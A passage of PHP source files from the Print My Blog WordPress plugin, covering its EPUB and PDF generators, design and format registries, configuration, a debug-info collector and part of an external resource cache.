//phpcs:enable WordPress.WP.GlobalVariablesOverride.Prohibited
}
/**
* @param ProjectSection[] $project_sections
*
* @return WP_Query
*/
protected function setupWpQuery(array $project_sections)
{
$post_ids = array_map(
function ($item) {
return $item->getPostId();
},
$project_sections
);
// Fetch some of its posts at the same time...
$query = new WP_Query(
[
'post_status' => 'any',
'post__in' => $post_ids,
'showposts' => count($post_ids),
'post_type' => $this->post_fetcher->getProjectPostTypes(),
]
);
$this->sortPostsAndAttachSections($query, $project_sections);
return $query;
}
/**
*
* @param WP_Post $post with an attached ProjectSection on the property pmb_section
*
* @return void
*/
protected function maybeGenerateDivisionTransition(WP_Post $post)
{
$last_section = $this->project_generation->getLastSection();
$this->maybeGenerateDivisionEnd($last_section, $post->pmb_section);
$this->maybeGenerateDivisionStart($last_section, $post->pmb_section);
}
/**
* @param ProjectSection|null $last_section
* @param ProjectSection|null $current_section
* @return void
*/
abstract protected function maybeGenerateDivisionStart(
ProjectSection $last_section = null,
ProjectSection $current_section = null
);
/**
* @param ProjectSection|null $previous_section
* @param ProjectSection|null $current_section
* @return void
*/
abstract protected function maybeGenerateDivisionEnd(
ProjectSection $previous_section = null,
ProjectSection $current_section = null
);
/**
* Gets a string of HTML from inluding the specified file.
*
* @param string $template_file
*
* @param array $context to be used in the template.
*
* @return false|string
*/
protected function getHtmlFrom($template_file, $context = [])
{
global $post, $pmb_project, $pmb_design, $pmb_project_generation;
// extract so all that context is available in the template file.
// phpcs:ignore WordPress.PHP.DontExtract.extract_extract
extract($context);
$pmb_project = $this->project;
$pmb_design = $this->design;
$pmb_project_generation = $this->project_generation;
do_action('\PrintMyBlog\services\generators\ProjectFileGeneratorBase->getHtmlFrom before_ob_start');
ob_start();
include $template_file;
// if Oxygen page builder is active, clear ALL buffers. It starts a buffer and then clears it in the footer
// somehow resulting in the HTML head getting echoed into the JSON response instead of being added to the top
// of the print page). Avoid all that by clearing its buffer immediately.
if (
apply_filters(
'PrintMyBlog\services\generators\ProjectFileGeneratorBase::getHtmlFrom clean_multiple_buffers',
defined('CT_VERSION')
)
) {
$str = $this->obGetAllClean();
} else {
$str = ob_get_clean();
}
do_action('\PrintMyBlog\services\generators\ProjectFileGeneratorBase->getHtmlFrom after_get_clean');
return $str;
}
/**
* Gets and cleans ALL buffers (like wp_ob_end_flush_all but gets instead of flushing)
* @return string
*/
protected function obGetAllClean()
{
$output = '';
$levels = ob_get_level();
for ($i = 0; $i < $levels; $i++) {
$output .= ob_get_clean();
}
return $output;
}
/**
* @return \PrintMyBlog\orm\entities\Design|null
*/
protected function getDesign()
{
return $this->design;
}
/**
* Gets the base path to the directory of the design template's files.
* @return string
*/
protected function getDesignDir()
{
return $this->getDesign()->getDesignTemplate()->getDir();
}
/**
* Gets the base URL of the design template's files
* @return string
*/
protected function getDesignAssetsUrl()
{
return $this->getDesign()->getDesignTemplate()->getAssetsUrl();
}
/**
* @return bool
*/
abstract public function deleteFile();
/**
* Records any PHP fatal errors while generating the file.
*/
public function shutdown()
{
// copy-aste from Fatal Error Notify plugin
$error = error_get_last();
if (is_null($error)) {
return;
}
// A couple types of errors we don't need reported.
if (E_WARNING === $error['type'] && strpos($error['message'], 'unlink')) {
// a lot of plugins generate these because it's faster to unlink()
// without checking if the file exists first, even if it creates a
// warning.
return;
}
$generation = $this->project_generation;
if ($generation instanceof ProjectGeneration) {
// This debug information is inteded for developers.
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export
$generation->setLastError(var_export($error, true));
}
}
}
PrintMyBlog/services/generators/EpubGenerator.php 0000644 00000015143 14666776752 0016257 0 ustar 00 <?php
namespace PrintMyBlog\services\generators;
use Exception;
/**
* Class EpubGenerator
* @package PrintMyBlog\services\generators
*/
class EpubGenerator extends HtmlBaseGenerator
{
/**
* Begins writing to html intermediary file.
*/
public function startGenerating()
{
$this->disableEmojis();
parent::startGenerating();
}
/**
* Emojis break Amazon Kindle Previewer
*/
protected function disableEmojis()
{
remove_action('wp_head', 'print_emoji_detection_script', 7);
remove_action('admin_print_scripts', 'print_emoji_detection_script');
remove_action('wp_print_styles', 'print_emoji_styles');
remove_filter('the_content_feed', 'wp_staticize_emoji');
remove_action('admin_print_styles', 'print_emoji_styles');
remove_filter('comment_text_rss', 'wp_staticize_emoji');
remove_filter('wp_mail', 'wp_staticize_emoji_for_email');
}
/**
* Writes out the PMB Pro print "window" which appears at the top of pro print pages.
* Echoes, instead of using `$this->file_writer`, because this is a callback on an action called inside the template HTML.
*/
public function addPrintWindowToPage()
{
// The template file does the escaping.
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
echo pmb_get_contents(
PMB_TEMPLATES_DIR . 'partials/pro_print_page_epub_window.php',
[
'project' => $this->project,
'project_generation' => $this->project_generation,
'generate_url' => $this->getUrlBackToGenerateStep(),
]
);
}
/**
* @throws Exception
*/
public function enqueueStylesAndScripts()
{
wp_enqueue_script('pmb_pro_page');
wp_enqueue_style('pmb_pro_page');
wp_register_script(
'epub-gen-memory',
PMB_SCRIPTS_URL . 'libs/epub-gen-memory__premium_only.min.js',
[],
filemtime(PMB_SCRIPTS_DIR . 'libs/epub-gen-memory__premium_only.min.js')
);
wp_register_script(
'pmb-web-streams-ponyfill',
PMB_SCRIPTS_URL . 'libs/web-streams-ponyfill__premium_only.min.js',
[],
filemtime(PMB_SCRIPTS_DIR . 'libs/web-streams-ponyfill__premium_only.min.js')
);
// https://github.com/jimmywarting/StreamSaver.js
wp_register_script(
'pmb-streamsaver',
PMB_SCRIPTS_URL . 'libs/streamsaver__premium_only.min.js',
['pmb-web-streams-ponyfill'],
filemtime(PMB_SCRIPTS_DIR . 'libs/streamsaver__premium_only.min.js')
);
// https://github.com/koffsyrup/FileSaver.js#examples
wp_register_script(
'pmb-filesaver',
PMB_SCRIPTS_URL . 'libs/filesaver__premium_only.min.js',
[],
filemtime(PMB_SCRIPTS_DIR . 'libs/filesaver__premium_only.min.js')
);
wp_enqueue_script(
'pmb-epub',
PMB_SCRIPTS_URL . 'epub-generator.js',
['epub-gen-memory', 'jquery', 'pmb-beautifier-functions', 'pmb-streamsaver', 'pmb-filesaver', 'pmb_general'],
filemtime(PMB_SCRIPTS_DIR . 'epub-generator.js')
);
$css = '/* custom styles */ ' . pmb_get_contents(
PMB_STYLES_DIR . '/pmb-epub.css'
) . $this->design->getSetting('custom_css');
$style_file = $this->getDesignDir() . 'assets/style.css';
if (file_exists($style_file)) {
$css .= '/** design styles */ ' . pmb_get_contents($style_file) . '
/** common styles */ ' . pmb_get_contents(PMB_ASSETS_DIR . 'styles/pmb-print-page-common.css');
}
$css = apply_filters(
'\PrintMyBlog\services\generators\EpubGenerator::enqueueStylesAndScripts $css',
$css,
$this->design,
$this->project
);
wp_add_inline_style(
'pmb_pro_page',
$css
);
$style_file = $this->getDesignDir() . 'assets/style.css';
if (file_exists($style_file)) {
wp_enqueue_style(
'pmb-design',
$this->getDesignAssetsUrl() . 'style.css',
['pmb_print_common', 'pmb-plugin-compatibility'],
filemtime($style_file),
null
);
}
$script_file = $this->getDesignDir() . 'assets/script.js';
if (file_exists($script_file)) {
wp_enqueue_script(
'pmb-design',
$this->getDesignAssetsUrl() . 'script.js',
['jquery', 'pmb-beautifier-functions'],
filemtime($script_file)
);
}
wp_localize_script(
'pmb-epub',
'pmb_pro',
[
'title' => $this->project->getPublishedTitle(),
'authors' => $this->getAuthors(),
'cover' => $this->project->getSetting('cover'),
'css' => $css,
'version' => '3',
'pmb_nonce' => wp_create_nonce('pmb_pro_page'),
'external_resouce_mapping' => $this->external_resource_cache->getMapping(),
'domains_to_not_map' => $this->external_resource_cache->domainsToNotMap(),
'ajaxurl' => admin_url('admin-ajax.php'),
'translations' => [
'many_articles' => __('Your project is very big and you might have errors downloading the file. If so, try splitting your content into multiple projects and instead creating multiple smaller files.', 'print-my-blog'),
'many_images' => __('Your project has lots of images and you might have errors downloading the file. If so, try spltting your content into multiple projects or reducing the image quality set on your design.', 'print-my-blog'),
],
'domain' => pmb_get_domain(),
'site_url' => site_url(),
]
);
}
/**
* @return false|string|string[]
*/
protected function getAuthors()
{
$byline = $this->project->getSetting('byline');
if (! $byline) {
return '';
}
return array_map('trim', explode(',', str_replace(['\n'], ',', $byline)));
}
/**
* @return void
* @throws Exception
*/
protected function finishGenerating()
{
parent::finishGenerating();
if ($this->design->getSetting('powered_by')) {
$this->getFileWriter()->write(
pmb_get_contents($this->design->getDesignTemplate()->getDir() . 'templates/footer.php')
);
}
}
}
PrintMyBlog/services/generators/PdfGenerator.php 0000644 00000022445 14666776752 0016100 0 ustar 00 <?php
namespace PrintMyBlog\services\generators;
use Exception;
use FS_Plugin_License;
use FS_Site;
use PrintMyBlog\entities\DesignTemplate;
use PrintMyBlog\entities\SectionTemplate;
use PrintMyBlog\orm\entities\Design;
use PrintMyBlog\orm\entities\Project;
use PrintMyBlog\orm\entities\ProjectSection;
use PrintMyBlog\services\PmbCentral;
use PrintMyBlog\system\Context;
use Twine\services\filesystem\File;
/**
* Class PdfIntermediaryHtmlGenerator
* Generates an intermediary HTML file on the server which DocRaptor, or the browser, can use to generate a PDF file.
* @package PrintMyBlog\services\generators
*/
class PdfGenerator extends HtmlBaseGenerator {
/**
* Enqueues themes and styles we'll use on this AJAX request.
*/
public function enqueueStylesAndScripts() {
wp_enqueue_style( 'pmb_print_common_pdf' );
wp_enqueue_style( 'pmb_pro_page' );
wp_enqueue_style( 'pmb-plugin-compatibility' );
wp_enqueue_script(
'pmb-pdf-beautifier-functions',
PMB_SCRIPTS_URL . 'pdf-beautifier-functions.js',
['pmb-beautifier-functions'],
filemtime( PMB_SCRIPTS_DIR . 'pdf-beautifier-functions.js' )
);
wp_enqueue_script( 'pmb_pro_page' );
wp_enqueue_style(
'pmb_pro_pdf',
PMB_STYLES_URL . 'pmb-pro-pdf.css',
null,
filemtime( PMB_STYLES_DIR . 'pmb-pro-pdf.css' )
);
wp_enqueue_script(
'pmb_pro_pdf',
PMB_ASSETS_URL . 'scripts/pmb-pro-pdf.js',
array(
'docraptor',
'jquery',
'underscore',
'pmb_pro_page'
),
filemtime( PMB_ASSETS_DIR . 'scripts/pmb-pro-pdf.js' )
);
wp_enqueue_script( 'pmb_general' );
$style_file = $this->getDesignDir() . 'assets/style.css';
$script_file = $this->getDesignDir() . 'assets/script.js';
if ( file_exists( $style_file ) ) {
wp_enqueue_style(
'pmb-design',
$this->getDesignAssetsUrl() . 'style.css',
['pmb_print_common', 'pmb-plugin-compatibility'],
filemtime( $style_file ),
null
);
}
if ( file_exists( $script_file ) ) {
wp_enqueue_script(
'pmb-design',
$this->getDesignAssetsUrl() . 'script.js',
['jquery', 'pmb-beautifier-functions'],
filemtime( $script_file )
);
}
$license = pmb_fs()->_get_license();
if ( $license instanceof FS_Plugin_License ) {
$license_info = $this->getPmbCentral()->getCreditsInfo();
} else {
$license_info = null;
}
$site = pmb_fs()->get_site();
$use_pmb_central = 0;
if ( pmb_fs()->is_plan__premium_only( 'business' ) || defined( 'PMB_USE_CENTRAL' ) && PMB_USE_CENTRAL ) {
$use_pmb_central = 1;
}
wp_localize_script( 'pmb_pro_page', 'pmb_pro', [
'site_url' => site_url(),
'domain' => pmb_get_domain(),
'use_pmb_central_for_previews' => $use_pmb_central,
'license_data' => [
'endpoint' => $this->getPmbCentral()->getCentralUrl(),
'license_id' => ( $license instanceof FS_Plugin_License ? $license->id : '' ),
'install_id' => ( $site instanceof FS_Site ? $site->id : '' ),
'authorization_header' => ( $site instanceof FS_Site ? $this->getPmbCentral()->getSiteAuthorizationHeader() : '' ),
],
'pmb_nonce' => wp_create_nonce( 'pmb_pro_page' ),
'ajaxurl' => admin_url( 'admin-ajax.php' ),
'project_id' => $this->project->getWpPost()->ID,
'format' => $this->project_generation->getFormat()->slug(),
'external_resouce_mapping' => $this->external_resource_cache->getMapping(),
'domains_to_not_map' => $this->external_resource_cache->domainsToNotMap(),
'doc_attrs' => apply_filters( '\\PrintMyBlog\\controllers\\Admin::enqueueScripts doc_attrs', [
'test' => ( defined( 'PMB_TEST_LIVE' ) && PMB_TEST_LIVE ? true : false ),
'type' => 'pdf',
'javascript' => false,
'name' => $this->project->getPublishedTitle(),
'ignore_console_messages' => true,
'ignore_resource_errors' => true,
'pipeline' => '10.1',
'prince_options' => [
'baseurl' => site_url(),
'media' => 'print',
'http_timeout' => 60,
'insecure' => true,
'javascript' => true,
],
'tag' => substr( $this->project_generation->getGeneratedIntermediaryFileUrl() . (( $license instanceof FS_Plugin_License ? ', license:' . $license->id : '' )), 0, 200 ),
] ),
'translations' => [
'error_generating' => __( 'There was an error preparing your content. Please visit the Print My Blog Help page.', 'print-my-blog' ),
'socket_error' => __( 'Your project could not be accessed in order to generate the file. Maybe your website is not public? Please visit the Print My Blog Help page.', 'print-my-blog' ),
'pro_description' => sprintf(
// translators: 1 number of credits
esc_html__( 'Downloading the Paid PDF will use one of your %1$s remaining credits, and is non-refundable.', 'print-my-blog' ),
( is_array( $license_info ) ? $license_info['remaining_credits'] : '0' )
),
'many_articles' => __( 'Your project is very big and you might have errors downloading the file. If so, try splitting your content into multiple projects and instead creating multiple smaller files.', 'print-my-blog' ),
'many_images' => __( 'Your project has lots of images and you might have errors downloading the file. If so, try spltting your content into multiple projects or reducing the image quality set on your design.', 'print-my-blog' ),
],
] );
add_action( 'wp_print_scripts', [$this, 'printScripts'] );
}
/**
* Prints the scripts and other stuff that's really custom (like the Prince script)
*/
public function printScripts() {
// now add the Prince script, which Prince will run
// pass in its variables, like maximum image size
$prince_js_vars = [
'page_per_post' => (int) $this->design->getSetting( 'page_per_post' ),
];
$max_image_size = $this->design->getSetting( 'image_size' );
if ( !$max_image_size ) {
$max_image_size = 1200;
}
$prince_js_vars['max_image_size'] = $max_image_size;
$prince_js_vars = apply_filters( 'PrintMyBlog\\services\\generators\\PdfGenerator->printScripts prince_js_vars', $prince_js_vars, $this->project_generation );
echo '<prince-script>' . 'var pmb = ' . wp_json_encode( $prince_js_vars ) . ';' . htmlentities( pmb_get_contents( PMB_SCRIPTS_DIR . '/prince-print-page.js' ), ENT_NOQUOTES ) . '</prince-script>';
}
/**
* Adds a "base" tag to the head which tells DocRaptor how to resolve relative links. See
* https://help.docraptor.com/en/articles/2154806-file-system-access-is-not-allowed-error-message
*/
public function addBaseTag() {
echo '<base href="' . esc_url( site_url() ) . '">';
}
/**
* Start making the intermediary file.
*/
public function startGenerating() {
parent::startGenerating();
// TODO: Change the autogenerated stub
// Add the "base" tag so relative links work. But if Oxygen pagebuilder is active, we need to use a different hook.
// (because Oxygen puts everything from wp_head in the footer)
if ( defined( 'CT_VERSION' ) ) {
add_action( 'oxygen_enqueue_frontend_scripts', [$this, 'addBaseTag'] );
} else {
add_action( 'wp_head', [$this, 'addBaseTag'] );
}
}
/**
* @return PmbCentral
*/
protected function getPmbCentral() {
return Context::instance()->reuse( 'PrintMyBlog\\services\\PmbCentral' );
}
/**
* Writes out the PMB Pro print "window" which appears at the top of pro print pages.
* Echoes, instead of using `$this->file_writer`, because this is a callback on an action called inside the template HTML.
* @throws Exception
*/
public function addPrintWindowToPage() {
$license_info = null;
// this is like require or include; escaping happens in the template file.
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
echo pmb_get_contents( PMB_TEMPLATES_DIR . 'partials/pro_print_page_window.php', [
'license_info' => $license_info,
'project' => $this->project,
'generate_url' => $this->getUrlBackToGenerateStep(),
] );
}
}
PrintMyBlog/services/SvgDoer.php 0000644 00000002613 14666776752 0012713 0 ustar 00 <?php
namespace PrintMyBlog\services;
/**
* Class SvgDoer
* SVG-related functions
* @package PrintMyBlog\services
*/
class SvgDoer
{
/**
* @var string[]
*/
protected $raw_svgs = [];
/**
* @param string $path
* @param string $color
*
* @return string|string[]
*/
public function getSvgDataAsColor($path, $color = '')
{
if (! isset($this->raw_svgs[$path])) {
// Gets file contents from local file.
// phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents
$this->raw_svgs[$path] = file_get_contents($path);
}
if ($color) {
$updated_svg = str_replace('black', $color, $this->raw_svgs[$path]);
} else {
$updated_svg = $this->raw_svgs[$path];
}
return $this->dataizeAndEncode($updated_svg);
}
/**
* Takes the SVG text, encodes it, and prepends it with the magic string to make it work just like an image.
* @param string $svg_content
*
* @return string
*/
protected function dataizeAndEncode($svg_content)
{
// Encoding content into a format usable as an image (eg on the "src" attribute of an img tag.)
// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode
return 'data:image/svg+xml;base64,' . base64_encode($svg_content);
}
}
PrintMyBlog/services/FileFormatRegistry.php 0000644 00000002273 14666776752 0015125 0 ustar 00 <?php
namespace PrintMyBlog\services;
use PrintMyBlog\entities\FileFormat;
use PrintMyBlog\factories\FileFormatFactory;
/**
* Class FileFormatRegistry
* @package PrintMyBlog\services
*/
class FileFormatRegistry
{
/**
* @var FileFormatFactory
*/
protected $factory;
/**
* Called by Context.
* @param FileFormatFactory $factory
*/
public function inject(FileFormatFactory $factory)
{
$this->factory = $factory;
}
/**
* @var FileFormat[]
*/
protected $formats;
/**
* @param string $slug
*
* @return FileFormat
*/
public function getFormat($slug)
{
if (isset($this->formats[$slug])) {
return $this->formats[$slug];
}
return null;
}
/**
* Gets the declared project formats
* @return FileFormat[]
*/
public function getFormats()
{
return $this->formats;
}
/**
* @param string $slug
* @param array $args
*/
public function registerFormat($slug, $args)
{
$format = $this->factory->create($args);
$format->constructFinalize($slug);
$this->formats[$slug] = $format;
}
}
PrintMyBlog/services/DesignTemplateRegistry.php 0000644 00000004220 14666776752 0015774 0 ustar 00 <?php
namespace PrintMyBlog\services;
use Exception;
use PrintMyBlog\entities\DesignTemplate;
use PrintMyBlog\exceptions\DesignTemplateDoesNotExist;
use PrintMyBlog\orm\entities\Design;
use PrintMyBlog\system\Context;
/**
* Class DesignTemplateRegistry
* @package PrintMyBlog\services
*/
class DesignTemplateRegistry
{
/**
* @var $design_template_callbacks callable[]
*/
protected $design_template_callbacks;
/**
* @var $design_templates DesignTemplate[]
*/
protected $design_templates;
/**
* @param string $slug
* @param callable $callback that returns the args to pass into DesignTemplate::__construct()
*/
public function registerDesignTemplateCallback($slug, $callback)
{
$this->design_template_callbacks[$slug] = $callback;
}
/**
* @param string $slug
*
* @return DesignTemplate
* @throws DesignTemplateDoesNotExist
*/
public function getDesignTemplate($slug)
{
if (! isset($this->design_templates[$slug])) {
if (! isset($this->design_template_callbacks[$slug])) {
throw new DesignTemplateDoesNotExist($slug);
}
$this->design_templates[$slug] = Context::instance()->useNew(
'PrintMyBlog\entities\DesignTemplate',
[
$slug,
call_user_func($this->design_template_callbacks[$slug]),
]
);
}
if (! $this->design_templates[$slug] instanceof DesignTemplate) {
throw new DesignTemplateDoesNotExist($slug);
}
return $this->design_templates[$slug];
}
/**
* Gets all the registered design templates
* @return DesignTemplate[]
*/
public function getDesignTemplates()
{
foreach ($this->design_template_callbacks as $slug => $callback) {
if (! isset($this->design_templates[$slug]) || ! $this->design_templates[$slug] instanceof DesignTemplate) {
$this->design_templates[$slug] = call_user_func($this->design_template_callbacks[$slug]);
}
}
return $this->design_templates;
}
}
PrintMyBlog/services/config/Config.php 0000644 00000006172 14666776752 0014020 0 ustar 00 <?php
namespace PrintMyBlog\services\config;
use PrintMyBlog\entities\FileFormat;
use PrintMyBlog\orm\entities\Design;
use PrintMyBlog\orm\managers\DesignManager;
use PrintMyBlog\services\FileFormatRegistry;
use Twine\services\config\Config as TwineConfig;
/**
* Class Config
* @package PrintMyBlog\services\config
*/
class Config extends TwineConfig
{
const ADMIN_PRINT_BUTTONS_FORMATS_SETTING_NAME = 'admin_print_buttons_formats';
const ADMIN_PRINT_BUTTONS_POST_TYPES_SETTING_NAME = 'admin_print_buttons_post_types';
/**
* @var FileFormatRegistry
*/
protected $format_registry;
/**
* @var DesignManager
*/
protected $design_manager;
/**
* @return string
*/
protected function optionName()
{
return 'pmb_config';
}
/**
* @return array
*/
protected function declareDefaults()
{
$defaults = [
self::ADMIN_PRINT_BUTTONS_FORMATS_SETTING_NAME => [],
self::ADMIN_PRINT_BUTTONS_POST_TYPES_SETTING_NAME => [],
];
$post_types = get_post_types(array( 'exclude_from_search' => false ), 'names');
$defaults[self::ADMIN_PRINT_BUTTONS_POST_TYPES_SETTING_NAME] = $post_types;
foreach ($this->format_registry->getFormats() as $format) {
$defaults[$this->getSettingNameForDefaultDesignForFormat($format)] = null;
$defaults[self::ADMIN_PRINT_BUTTONS_FORMATS_SETTING_NAME][] = $format->slug();
}
return $defaults;
}
/**
* @param FileFormatRegistry $format_registry
* @param DesignManager $design_manager
*/
public function inject(FileFormatRegistry $format_registry, DesignManager $design_manager)
{
$this->format_registry = $format_registry;
$this->design_manager = $design_manager;
}
/**
* @param FileFormat|string $format
*
* @return string
*/
public function getSettingNameForDefaultDesignForFormat($format)
{
if ($format instanceof FileFormat) {
$format = $format->slug();
}
return 'default_' . $format . '_design';
}
/**
* Gets the default design object for the requested format.
* @param string|FileFormat $format
*
* @return Design|null
*/
public function getDefaultDesignFor($format)
{
if (! $format instanceof FileFormat) {
$format = $this->format_registry->getFormat($format);
}
$key = $this->getSettingNameForDefaultDesignForFormat($format);
$design_id = $this->getSetting($key);
if ($design_id) {
$design = $this->design_manager->getById($design_id);
if ($design instanceof Design) {
return $design;
}
}
// We didn't find an existing design. Just look for a design with the default slug.
$design = $this->design_manager->getBySlug($format->getDefaultDesignTemplate()->getDefaultDesignSlug());
if ($design instanceof Design) {
$this->setSetting($key, $design->getWpPost()->ID);
return $design;
}
// Ok I kinda give up.
return null;
}
}
PrintMyBlog/services/DebugInfo.php 0000644 00000022000 14666776752 0013174 0 ustar 00 <?php
namespace PrintMyBlog\services;
use PrintMyBlog\exceptions\DesignTemplateDoesNotExist;
use PrintMyBlog\orm\entities\Design;
use PrintMyBlog\orm\entities\Project;
use PrintMyBlog\orm\managers\DesignManager;
use PrintMyBlog\orm\managers\ProjectManager;
use WP_Debug_Data;
/**
* Class DebugInfo
* @package PrintMyBlog\services
*/
class DebugInfo
{
/**
* @var ProjectManager
*/
protected $project_manager;
/**
* @var DesignManager
*/
protected $design_manager;
/**
* @param ProjectManager $project_manager
* @param DesignManager $design_manager
*/
public function inject(ProjectManager $project_manager, DesignManager $design_manager)
{
$this->project_manager = $project_manager;
$this->design_manager = $design_manager;
}
/**
* @param bool $pretty
* @return string
*/
public function getDebugInfoString($pretty = true)
{
if (! defined('JSON_PRETTY_PRINT')) {
define('JSON_PRETTY_PRINT', 128);
}
return wp_unslash(wp_json_encode($this->getDebugInfo(), $pretty ? JSON_PRETTY_PRINT : null));
}
/**
* Loops through the plugin data and removes stuff I think unnecessary.
* @param array $plugin_data
* @return array
*/
protected function simplifyPluginData($plugin_data)
{
$simplified_plugin_data = [];
foreach ($plugin_data as $plugin_slug => $plugin_info) {
$version = str_replace('Version ', '', $plugin_info['value']);
$unnecessary_auto_updates_string_location = strpos($version, '| Auto-updates');
if ($unnecessary_auto_updates_string_location !== false) {
$version = substr($version, 0, $unnecessary_auto_updates_string_location);
}
$simplified_plugin_data[$plugin_slug] = $version;
}
return $simplified_plugin_data;
}
/**
* @return array
* @throws \ImagickException
*/
public function getDebugInfo()
{
require_once ABSPATH . 'wp-admin/includes/class-wp-debug-data.php';
$all_debug_core_info = WP_Debug_Data::debug_data();
$plugin_data = $this->simplifyPluginData($all_debug_core_info['wp-plugins-active']['fields']);
$mu_plugin_data = $this->simplifyPluginData($all_debug_core_info['wp-mu-plugins']['fields']);
$active_theme = $all_debug_core_info['wp-active-theme']['fields'];
$simplified_theme_data = [
'name' => $active_theme['name']['value'],
'version' => $active_theme['version']['value'],
'author' => $active_theme['author']['value'],
'author_website' => $active_theme['author_website']['value'],
'parent_theme' => $active_theme['parent_theme']['value'],
'theme_features' => $active_theme['theme_features']['value'],
];
$is_ssl = is_ssl();
$is_multisite = is_multisite();
$blog_public = get_option('blog_public');
if (function_exists('wp_get_environment_type')) {
$environment_type = wp_get_environment_type();
} else {
$environment_type = 'unknown';
}
$core_version = get_bloginfo('version');
$language = get_locale();
$home_url = get_bloginfo('url');
$site_url = get_bloginfo('wpurl');
$debug = defined('WP_DEBUG') ? WP_DEBUG : false;
$post_max_size = ini_get('post_max_size');
$upload_max_filesize = ini_get('upload_max_filesize');
$effective = min(
wp_convert_hr_to_bytes($post_max_size),
wp_convert_hr_to_bytes($upload_max_filesize)
);
$php_version = phpversion();
return [
'pmb' => PMB_VERSION,
'pmb_pro' => pmb_fs()->is_premium(),
'php' => $php_version,
'wp' => $core_version,
'site_url' => $site_url,
'home_url' => $home_url,
'language' => $language,
'public' => (bool)$blog_public,
'environment_type' => $environment_type,
'mu_plugins' => $mu_plugin_data,
'plugins_active' => $plugin_data,
'active_theme' => $simplified_theme_data,
'debug' => $debug,
'post_max_size' => $post_max_size,
'upload_max_size' => $upload_max_filesize,
'effective_max_size' => $effective,
'ssl' => $is_ssl,
'multisite' => $is_multisite,
'projects' => $this->getProjectData(),
'designs' => $this->getDesignData(),
];
}
/**
* @return array
*/
protected function getDesignData()
{
$design_datas = [];
$designs = $this->design_manager->getAll(
new \WP_Query()
);
foreach ($designs as $design) {
$design_datas[] = $this->simplifyDesignData($design);
}
return $design_datas;
}
/**
* @return array
*/
protected function getProjectData()
{
/**
* @var Project[] $projects
*/
$projects = $this->project_manager->getAll(
new \WP_Query(
[
'order' => 'DESC',
'orderby' => 'modified',
'posts_per_page' => 5,
]
)
);
$project_datas = [];
foreach ($projects as $project) {
$project_data = [
'title' => $project->getWpPost()->post_title,
'generations' => [],
'meta' => [],
'designs' => [],
];
foreach ($project->getDesigns() as $format => $design) {
$project_data['designs'][$format] = $design->getWpPost()->post_title . ' (ID:' . $design->getWpPost()->ID . ')';
}
foreach ($project->getAllGenerations() as $generation) {
$project_data['generations'][$generation->getFormat()->slug()] = $generation->getGeneratedIntermediaryFileUrl();
}
$project_data['meta'] = $this->simplifyProjectMeta($this->simpifyMetadata(get_post_meta($project->getWpPost()->ID)));
$project_datas[] = $project_data;
}
return $project_datas;
}
/**
* @param array $project_meta
* @return array
*/
protected function simplifyProjectMeta($project_meta)
{
$metas = array_diff_key(
$project_meta,
array_flip(
[
'_pmb_pmb_code',
'_wp_old_slug',
'_pmb_format',
'_pmb_progress_setup',
'_pmb_levels_used',
]
)
);
$starters_to_ignore = [
'_pmb_progress_',
'_pmb_design_for',
'_pmb_dirty_',
'_pmb_last_section_',
'_pmb_generated_',
];
$final_metas = [];
foreach ($metas as $key => $value) {
$ok = true;
foreach ($starters_to_ignore as $starter_to_ignore) {
if (
strpos(
$key,
$starter_to_ignore
) === 0
) {
$ok = false;
break;
}
}
if ($ok) {
$final_metas[$key] = $value;
}
}
return $final_metas;
}
/**
* @param Design $design
* @return array
*/
protected function simplifyDesignData(Design $design)
{
try {
$template = $design->getDesignTemplate();
$title = $template->getTitle();
} catch (DesignTemplateDoesNotExist $error) {
$title = 'Template no longer active';
}
return [
'title' => $design->getWpPost()->post_title,
'ID' => $design->getWpPost()->ID,
'template' => $title,
'meta' => array_diff_key(
$this->simpifyMetadata(get_post_meta($design->getWpPost()->ID)),
array_flip(
[
'_pmb_format',
'_pmb_design_template',
'_pmb_preview_1_url',
'_pmb_preview_1_desc',
'_pmb_preview_2_url',
'_pmb_preview_2_desc',
'_pmb_author_name',
'_pmb_author_url',
]
)
),
];
}
/**
* Make it look pretty so it's easy to find info in it.
* @param array $metadata
* @return array
*/
protected function simpifyMetadata($metadata)
{
$simplified_metas = [];
foreach ($metadata as $meta_key => $meta_values) {
$value = reset($meta_values);
// if it's serialized data, it'd be nice to show it as JSON instead
$simplified_metas[$meta_key] = maybe_unserialize($value);
}
return $simplified_metas;
}
}
PrintMyBlog/services/ColorGuru.php 0000644 00000001306 14666776752 0013261 0 ustar 00 <?php
namespace PrintMyBlog\services;
/**
* Class ColorGuru
* @package PrintMyBlog\services
*/
class ColorGuru
{
/**
* Returns an array where the values are RGB values from the color.
* @param string $hex_code
*
* @return array|false
*/
public function convertHexToRgb($hex_code)
{
return sscanf($hex_code, '#%02x%02x%02x');
}
/**
* @param string $hex_code
* @param string $alpha
* @return string
*/
public function convertHextToRgba($hex_code, $alpha)
{
$rgb = $this->convertHexToRgb($hex_code);
$rgb[] = $alpha;
return 'rgba(' . implode(
',',
$rgb
) . ')';
}
}
PrintMyBlog/services/ExternalResourceCache.php 0000644 00000011570 14666776752 0015562 0 ustar 00 <?php
namespace PrintMyBlog\services;
use PrintMyBlog\orm\managers\ExternalResourceManager;
use stdClass;
use Twine\services\filesystem\File;
use Twine\services\filesystem\Folder;
use WP_Error;
/**
* Class ExternalResourceCache
* @package PrintMyBlog\services
*/
class ExternalResourceCache
{
/**
* @var ExternalResourceManager
*/
private $external_resouce_manager;
/**
* @param ExternalResourceManager $external_resource_manager
*/
public function inject(ExternalResourceManager $external_resource_manager)
{
$this->external_resouce_manager = $external_resource_manager;
}
/**
* @return string
*/
protected function getCacheDir()
{
$uploads_dir = wp_upload_dir();
return $uploads_dir['basedir'] . '/pmb/cache/';
}
/**
* @return string
*/
protected function getCacheUrl()
{
$uploads_dir = wp_upload_dir();
return $uploads_dir['baseurl'] . '/pmb/cache/';
}
/**
* @param string $external_url
* @return string|null|false URL of copied resource, null if not yet copied, or false if there was an error
*/
public function writeAndMapFile($external_url)
{
$start_of_querystring = strpos($external_url, '?');
if (! $start_of_querystring === false) {
$querystring = substr($external_url, $start_of_querystring);
$external_url_sans_querystring = substr($external_url, 0, $start_of_querystring);
} else {
$querystring = '';
$external_url_sans_querystring = $external_url;
}
$copy_filename = sanitize_file_name($external_url_sans_querystring);
